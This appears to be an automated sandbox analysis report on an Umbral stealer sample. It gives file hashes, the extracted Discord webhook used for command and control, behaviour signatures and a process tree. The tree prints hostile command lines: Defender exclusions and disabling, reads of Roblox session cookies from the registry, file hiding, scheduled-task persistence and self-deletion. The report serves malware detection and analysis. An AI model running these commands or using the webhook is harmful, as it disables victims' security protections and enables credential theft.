Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    06-09-2024 05:55

General

  • Target

    74e445436b010306f116973c93656630N.exe

  • Size

    170KB

  • MD5

    74e445436b010306f116973c93656630

  • SHA1

    b1176522355a5863f5c7d7d3ca9db3889bbc485b

  • SHA256

    dceb4a5e6cd2b0d37758cff6b217c69472d6bc6844617817fe22fbf86b7b7135

  • SHA512

    8a331a232b877e329110bb264efe79baaa1189316ac1cabefd12f82f249cf7c8415aec6e1df300e132ba8b6bcc9265e6b1b39847e3baea1d0f1e7e698ad2e367

  • SSDEEP

    3072:hVK2s3mxhbEmdMfQw/eJPGN0wxdFk7G1xB3O/Ga/32hK505EyWEBuedcH5e0K:hVE3m7bh+/eJPGVx0MxB3O/Ga/cQ05vh

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1273828074898718851/qR9eE6omxJxFL_jVry1J18IsVQ6bHhsk5rGr5VLxyO-92VJHyGPK43BBNMWtaUG56gE2

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74e445436b010306f116973c93656630N.exe
    "C:\Users\Admin\AppData\Local\Temp\74e445436b010306f116973c93656630N.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
      "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\System32\attrib.exe
        "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:1980
      • C:\Windows\System32\attrib.exe
        "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:2264
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp47AA.tmp.bat""
        3⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:2724
        • C:\Users\Admin\Exec\$77svchost.exe
          "C:\Users\Admin\Exec\$77svchost.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\system32\schtasks.exe
            "schtasks.exe" /query /TN $77svchost.exe
            5⤵
              PID:2584
            • C:\Windows\system32\schtasks.exe
              "schtasks.exe" /Create /SC ONCE /TN "$77svchost.exe" /TR "C:\Users\Admin\Exec\$77svchost.exe \"\$77svchost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2704
            • C:\Windows\system32\schtasks.exe
              "schtasks.exe" /query /TN $77svchost.exe
              5⤵
                PID:2492
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2592
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "svchost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
                5⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2496
        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
          "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
          2⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
          • C:\Windows\system32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
            3⤵
            • Views/modifies file attributes
            PID:1776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2448
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2192
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:472
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            3⤵
              PID:1536
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              3⤵
                PID:3036
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1988
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                3⤵
                • Detects videocard installed
                PID:1256
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:3008
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:892
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2772

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe

            Filesize

            40KB

            MD5

            47f267290124f530b9c04563b533db83

            SHA1

            fccb81909c612554fce4303daeffc750a71ee44e

            SHA256

            479db498a032418957c1616b13187402d7f626afa32dd4fcf56313d78ec23eeb

            SHA512

            a81b1ca99fec7a536eabc62f57668e46b832e534ccba43f3ab25a9d33d394745d24bad5f72225244f20be5ddcb44529d72efa31b92bc9e03f34e3b9ddb4f9e3a

          • C:\Users\Admin\AppData\Local\Temp\tmp47AA.tmp.bat

            Filesize

            143B

            MD5

            137eba54676ef9f0467ccd49a8e28104

            SHA1

            70e77294f9998ae977d836009bebb7725bbd0b9f

            SHA256

            be91d54d456cd88edfbadc0006192537455f27691f9f5b1e839dcc62a5764940

            SHA512

            39c077504e606aadd61c0c949a18d7e58293d5c8c38be76ec96c8c5578d5bc53c9793efd94bede5d061e23c369b6314f90ccb7cba97dd8f364afa8e3c1f1ec35

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            4b94b1716536903f3839d7160c676139

            SHA1

            d2e0491d6be947db39d01d4fef685c556287d02c

            SHA256

            e2d85247a0c5f2ce8033d2c2595bec27778adb621f268be7e105be22f5387298

            SHA512

            5f28d70d4b42c4a3a3a91e0083d56cbd239e905126aaffa9d6f4ca31f93c9076c2563f1be8b82369efebf09ca0173bb4143fd613213f056b4084355de7cebd9f

          • \Users\Admin\AppData\Local\Temp\Umbral.exe

            Filesize

            229KB

            MD5

            62099472f40d33f1caf73e36e866b9e7

            SHA1

            9d1e27b780ba14d0e41d366d79b0f42d4a782e7e

            SHA256

            f343ca46350a3c48f888be39bf1247fcab2bcd731889fc16828aac5f681edebc

            SHA512

            3356bd93afdff76dfc995b8bba3fc96d772e371c3ae6f289cbdb58cffef4906a5f8c2755152765c8cc96b5fc61e97186e42eceaa5e8619d15e172441c95f9764

          • memory/1988-58-0x0000000001F40000-0x0000000001F48000-memory.dmp

            Filesize

            32KB

          • memory/1988-57-0x000000001B780000-0x000000001BA62000-memory.dmp

            Filesize

            2.9MB

          • memory/2200-16-0x0000000000C80000-0x0000000000CC0000-memory.dmp

            Filesize

            256KB

          • memory/2448-22-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

            Filesize

            32KB

          • memory/2448-21-0x000000001B730000-0x000000001BA12000-memory.dmp

            Filesize

            2.9MB

          • memory/2592-82-0x0000000002340000-0x0000000002348000-memory.dmp

            Filesize

            32KB

          • memory/2604-76-0x000000013FAD0000-0x000000013FADE000-memory.dmp

            Filesize

            56KB

          • memory/2892-15-0x000000013F410000-0x000000013F41E000-memory.dmp

            Filesize

            56KB

          • memory/2892-62-0x000007FEF5643000-0x000007FEF5644000-memory.dmp

            Filesize

            4KB

          • memory/2892-14-0x000007FEF5643000-0x000007FEF5644000-memory.dmp

            Filesize

            4KB

          • memory/2900-28-0x000000001B790000-0x000000001BA72000-memory.dmp

            Filesize

            2.9MB

          • memory/2900-29-0x0000000002710000-0x0000000002718000-memory.dmp

            Filesize

            32KB